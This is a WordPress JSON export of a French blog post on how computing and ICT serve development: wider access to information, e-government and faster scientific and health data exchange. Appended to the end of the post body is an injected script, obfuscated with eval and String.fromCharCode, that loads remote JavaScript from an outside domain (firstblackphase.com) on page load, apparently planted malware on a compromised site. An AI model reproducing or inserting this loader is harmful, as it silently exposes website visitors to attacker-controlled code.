{"id":3794,"date":"2015-01-17T15:12:51","date_gmt":"2015-01-17T14:12:51","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=246"},"modified":"2017-04-29T12:39:27","modified_gmt":"2017-04-29T10:39:27","slug":"linformatique-au-service-du-developpement","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/3794","title":{"rendered":"L\u2019informatique au service du d\u00e9veloppement"},"content":{"rendered":"<p>Les trente derni\u00e8res ann\u00e9es ont \u00e9t\u00e9 marqu\u00e9es par de prodigieuses avanc\u00e9es dans les \u00e9conomies, les soci\u00e9t\u00e9s, les cultures et plus g\u00e9n\u00e9ralement les sciences.<\/p>\n<p>Ces avanc\u00e9es sont sans conteste li\u00e9es aux progr\u00e8s r\u00e9alis\u00e9s dans le domaine des technologies de l\u2019information qui ont connus des innovations majeures et sont perceptibles dans tous les domaines.<\/p>\n<p>Ce d\u00e9veloppement augmente de mani\u00e8re exponentielle lorsque ces technologies s\u2019allient \u00e0 la communication. Cette alliance donne naissance \u00e0 un nouveau concept, nous entendons alors parler de TIC (Technologies de l\u2019Information et de la Communication).<\/p>\n<p>Les TIC ont fortement contribu\u00e9 aux progr\u00e8s scientifiques majeurs durant ces derni\u00e8res d\u00e9cennies.<\/p>\n<p>Elles engendrent de profondes mutations \u00e9conomiques, politiques et sociales et affectent de mani\u00e8re perceptible l\u2019organisation du travail, les syst\u00e8mes de formation et d\u2019\u00e9ducation, les rapports sociaux &#8230;<\/p>\n<p>Les inventeurs du premier ordinateur au milieu du si\u00e8cle pass\u00e9 n\u2019imaginaient certainement pas la r\u00e9volution que cela allait provoquer dans les activit\u00e9s \u00e9conomiques, sociales et culturelles.<\/p>\n<p>Mais en quoi consiste r\u00e9ellement l\u2019apport de cette technologie ?,<\/p>\n<p>Cet apport peut s\u2019appr\u00e9cier \u00e0 plusieurs niveaux :<\/p>\n<p>1. <span style=\"text-decoration: underline;\">La d\u00e9mocratisation de l\u2019acc\u00e8s \u00e0 l\u2019information<\/span><\/p>\n<p>L\u2019ordinateur personnel, les tablettes et les Smartphones sont accessibles aux classes moyennes et s\u2019invitent m\u00eame dans les confins du d\u00e9sert, m\u00eame dans les pays sous d\u00e9velopp\u00e9s, les \u00e9coles et lyc\u00e9es disposent de cyberespaces.<br \/>\nQui de nos jours n\u2019a pas utilis\u00e9 Internet pour rechercher des informations sur n\u2019importe quel domaine \u00e0 tel point que Google est devenu un terme connu et utilis\u00e9 dans toutes les cultures.<br \/>\nLes e-universit\u00e9s, les forums professionnels, les biblioth\u00e8ques en lignes, la presse num\u00e9rique etc.\u2026 fleurissent sur le Net et permettent un partage mondial des connaissances.<br \/>\nLes mouvements sociaux, les organisations gouvernementales et non gouvernementales exploitent \u00e0 bon escient les r\u00e9seaux tel que Twitter, Facebook, Youtube pour faire connaitre leurs pr\u00e9occupations ou mobiliser les citoyens autour de leurs programmes.<br \/>\nLes faits divers les plus insignifiants sont publi\u00e9s en temps r\u00e9el et accessibles \u00e0 travers toute la plan\u00e8te.<\/p>\n<p>2. <span style=\"text-decoration: underline;\">Une administration o\u00f9 l\u2019information \u00e9lectronique permet de mieux servir le citoye<\/span>n<\/p>\n<p>La communication et le partage de l\u2019information entre les directions centrales et les services d\u00e9centralis\u00e9s permettent une prise en charge imm\u00e9diate des pr\u00e9occupations des administr\u00e9s.<br \/>\nLa d\u00e9mat\u00e9rialisation des proc\u00e9dures administratives via internet, participent \u00e0 r\u00e9duire les d\u00e9placements et les encombrements au niveau des administrations publiques locales ou centrales.<\/p>\n<p>3. <span style=\"text-decoration: underline;\">R\u00e9ponses rapides, en temps r\u00e9el et mondialisation des \u00e9changes<\/span>.<\/p>\n<p>Dans le domaine de la recherche scientifique, le partage des travaux et l\u2019utilisation de calculateurs de plus en plus puissants fait gagner un temps consid\u00e9rable aux scientifiques.<br \/>\nDans le domaine de la sant\u00e9, la disponibilit\u00e9 des bases de donn\u00e9es renseign\u00e9es en temps r\u00e9el permet aux organisations mondiales (OMS) de pr\u00e9parer des ripostes rapides aux multiples probl\u00e8mes de sant\u00e9 au niveau plan\u00e9taire.<br \/>\nL\u2019interconnexion des organismes de recherche, des universit\u00e9s permet l\u2019\u00e9change rapide des informations scientifiques et un travail collaboratif sur des sujets d\u2019int\u00e9r\u00eat mondial.<\/p>\n<figure id=\"attachment_20\" aria-describedby=\"caption-attachment-20\" style=\"width: 170px\" class=\"wp-caption alignright\"><a href=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/05\/boubnia.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-20 size-full\" src=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/05\/boubnia.png\" alt=\"Mr Boubenia Consultant \u00e0 Pr\u00e9sences Int'l\" width=\"170\" height=\"130\" \/><\/a><figcaption id=\"caption-attachment-20\" class=\"wp-caption-text\"><center>Mr Boubenia<br \/> Consultant \u00e0 Pr\u00e9sences Int&rsquo;l<\/center><\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><em>&#8230; A suivre \u00ab\u00a0L&rsquo;apport de l&rsquo;informatique aux pratiques m\u00e9dicales\u00a0\u00bb.<\/em><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Les trente derni\u00e8res ann\u00e9es ont \u00e9t\u00e9 marqu\u00e9es par de prodigieuses avanc\u00e9es dans les \u00e9conomies, les soci\u00e9t\u00e9s, les cultures et plus g\u00e9n\u00e9ralement les sciences. Ces avanc\u00e9es sont sans conteste li\u00e9es aux progr\u00e8s r\u00e9alis\u00e9s dans le domaine des technologies de l\u2019information qui ont connus des innovations majeures et sont perceptibles dans tous les domaines. Ce d\u00e9veloppement augmente &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/3794\"> <span class=\"screen-reader-text\">L\u2019informatique au service du d\u00e9veloppement<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":20,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[117],"tags":[],"class_list":["post-3794","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/3794","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=3794"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/3794\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=3794"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=3794"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=3794"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}